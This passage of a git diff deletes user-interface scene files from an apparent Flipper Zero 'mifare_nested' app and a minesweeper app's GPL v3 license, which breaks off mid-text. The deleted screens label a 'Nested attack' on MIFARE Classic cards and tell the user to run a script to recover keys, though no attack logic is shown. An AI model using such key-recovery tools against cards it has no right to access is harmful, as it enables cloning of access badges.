b/applications/external/mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c deleted file mode 100644 index 74e2459e8..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c +++ /dev/null @@ -1,94 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_no_nonces_collected_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -void mifare_nested_scene_no_nonces_collected_on_enter(void* context) { - MifareNested* mifare_nested = context; - Widget* widget = mifare_nested->widget; - SaveNoncesResult_t* save_state = mifare_nested->save_state; - - notification_message(mifare_nested->notifications, &sequence_error); - - widget_add_icon_element(widget, 73, 12, &I_DolphinCry); - widget_add_string_element( - widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "No nonces collected"); - - uint32_t index = 12; - - if(save_state->skipped) { - char append_skipped[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\0'}; - if(save_state->skipped != 1) { - append_skipped[6] = 's'; - } - - char draw_str[32] = {}; - snprintf( - draw_str, sizeof(draw_str), "Skipped: %lu %s", save_state->skipped, append_skipped); - - widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str); - - widget_add_string_element( - widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, "(already has keys)"); - - index += 20; - } - - if(save_state->invalid) { - char append_invalid[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\0'}; - if(save_state->invalid != 1) { - append_invalid[6] = 's'; - } - - char draw_str[32] = {}; - snprintf( - draw_str, sizeof(draw_str), "Invalid: %lu %s", save_state->invalid, append_invalid); - - widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str); - - widget_add_string_element( - widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, "(can't auth)"); - } - - free(save_state); - - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - mifare_nested_scene_no_nonces_collected_widget_callback, - mifare_nested); - - // Setup and start worker - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); -} - -bool mifare_nested_scene_no_nonces_collected_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - - return consumed; -} - -void mifare_nested_scene_no_nonces_collected_on_exit(void* context) { - MifareNested* mifare_nested = context; - - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_nonces_collected.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_nonces_collected.c deleted file mode 100644 index cc543645f..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_nonces_collected.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_nonces_collected_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -void mifare_nested_scene_nonces_collected_on_enter(void* context) { - MifareNested* mifare_nested = context; - Widget* widget = mifare_nested->widget; - - notification_message(mifare_nested->notifications, &sequence_success); - - widget_add_icon_element(widget, 52, 17, &I_DolphinSuccess); - widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Nonces collected"); - widget_add_string_element( - widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Now you can run"); - widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "script on your"); - widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "PC to recover"); - widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "keys"); - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - mifare_nested_scene_nonces_collected_widget_callback, - mifare_nested); - - // Setup and start worker - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); -} - -bool mifare_nested_scene_nonces_collected_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - - return consumed; -} - -void mifare_nested_scene_nonces_collected_on_exit(void* context) { - MifareNested* mifare_nested = context; - - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_settings.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_settings.c deleted file mode 100644 index 09d77f94b..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_settings.c +++ /dev/null @@ -1,65 +0,0 @@ -#include "../mifare_nested_i.h" -#include - -enum MifareNestedSettingsIndex { MifareNestedIndexBlock, MifareNestedIndexHardNested }; - -#define HARD_NESTED_COUNT 2 -const char* const hard_nested_text[HARD_NESTED_COUNT] = { - "No", - "Yes", -}; - -const bool hard_nested_value[HARD_NESTED_COUNT] = { - false, - true, -}; - -static void mifare_nested_scene_settings_set_hard_nested(VariableItem* item) { - MifareNested* mifare_nested = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, hard_nested_text[index]); - mifare_nested->settings->only_hardnested = hard_nested_value[index]; -} - -void mifare_nested_scene_settings_on_enter(void* context) { - MifareNested* mifare_nested = context; - VariableItem* item; - uint8_t value_index; - - item = variable_item_list_add( - mifare_nested->variable_item_list, - "Hard Nested only:", - HARD_NESTED_COUNT, - mifare_nested_scene_settings_set_hard_nested, - mifare_nested); - - value_index = value_index_bool( - mifare_nested->settings->only_hardnested, hard_nested_value, HARD_NESTED_COUNT); - - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, hard_nested_text[value_index]); - - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewVariableList); -} - -bool mifare_nested_scene_settings_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == MifareNestedCustomEventSceneSettingLock) { - scene_manager_previous_scene(mifare_nested->scene_manager); - consumed = true; - } - } - - return consumed; -} - -void mifare_nested_scene_settings_on_exit(void* context) { - MifareNested* mifare_nested = context; - variable_item_list_set_selected_item(mifare_nested->variable_item_list, 0); - variable_item_list_reset(mifare_nested->variable_item_list); - scene_manager_set_scene_state(mifare_nested->scene_manager, MifareNestedSceneStart, 0); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_start.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_start.c deleted file mode 100644 index e8ff25c67..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_start.c +++ /dev/null @@ -1,84 +0,0 @@ -#include "../mifare_nested_i.h" -enum SubmenuIndex { - SubmenuIndexCollect, - SubmenuIndexCheck, - SubmenuIndexSettings, - SubmenuIndexAbout -}; - -void mifare_nested_scene_start_submenu_callback(void* context, uint32_t index) { - MifareNested* mifare_nested = context; - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, index); -} - -void mifare_nested_scene_start_on_enter(void* context) { - MifareNested* mifare_nested = context; - - Submenu* submenu = mifare_nested->submenu; - submenu_add_item( - submenu, - "Nested attack", - SubmenuIndexCollect, - mifare_nested_scene_start_submenu_callback, - mifare_nested); - - submenu_add_item( - submenu, - "Check found keys", - SubmenuIndexCheck, - mifare_nested_scene_start_submenu_callback, - mifare_nested); - - submenu_add_item( - submenu, - "Settings", - SubmenuIndexSettings, - mifare_nested_scene_start_submenu_callback, - mifare_nested); - - submenu_add_item( - submenu, - "About", - SubmenuIndexAbout, - mifare_nested_scene_start_submenu_callback, - mifare_nested); - - submenu_set_selected_item( - submenu, - scene_manager_get_scene_state(mifare_nested->scene_manager, MifareNestedSceneStart)); - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewMenu); -} - -bool mifare_nested_scene_start_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexCollect) { - mifare_nested->run = NestedRunAttack; - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheck); - consumed = true; - } else if(event.event == SubmenuIndexCheck) { - mifare_nested->run = NestedRunCheckKeys; - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheck); - consumed = true; - } else if(event.event == SubmenuIndexSettings) { - mifare_nested->keys->found_keys = 123; - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneSettings); - consumed = true; - } else if(event.event == SubmenuIndexAbout) { - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAbout); - consumed = true; - } - - scene_manager_set_scene_state( - mifare_nested->scene_manager, MifareNestedSceneStart, event.event); - } - - return consumed; -} - -void mifare_nested_scene_start_on_exit(void* context) { - MifareNested* mifare_nested = context; - submenu_reset(mifare_nested->submenu); -} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_static_encrypted_nonce.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_static_encrypted_nonce.c deleted file mode 100644 index 92cefa72c..000000000 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_static_encrypted_nonce.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../mifare_nested_i.h" - -void mifare_nested_scene_static_encrypted_nonce_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - MifareNested* mifare_nested = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); - } -} - -void mifare_nested_scene_static_encrypted_nonce_on_enter(void* context) { - MifareNested* mifare_nested = context; - Widget* widget = mifare_nested->widget; - - notification_message(mifare_nested->notifications, &sequence_error); - - widget_add_icon_element(widget, 73, 12, &I_DolphinCry); - widget_add_string_element( - widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Static encrypted nonce"); - widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "This tag isn't"); - widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "vulnerable to"); - widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "Nested attack"); - - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - mifare_nested_scene_static_encrypted_nonce_widget_callback, - mifare_nested); - - // Setup and start worker - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); -} - -bool mifare_nested_scene_static_encrypted_nonce_on_event(void* context, SceneManagerEvent event) { - MifareNested* mifare_nested = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); - consumed = true; - } - - return consumed; -} - -void mifare_nested_scene_static_encrypted_nonce_on_exit(void* context) { - MifareNested* mifare_nested = context; - - widget_reset(mifare_nested->widget); -} diff --git a/applications/external/minesweeper/LICENSE b/applications/external/minesweeper/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/minesweeper/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE 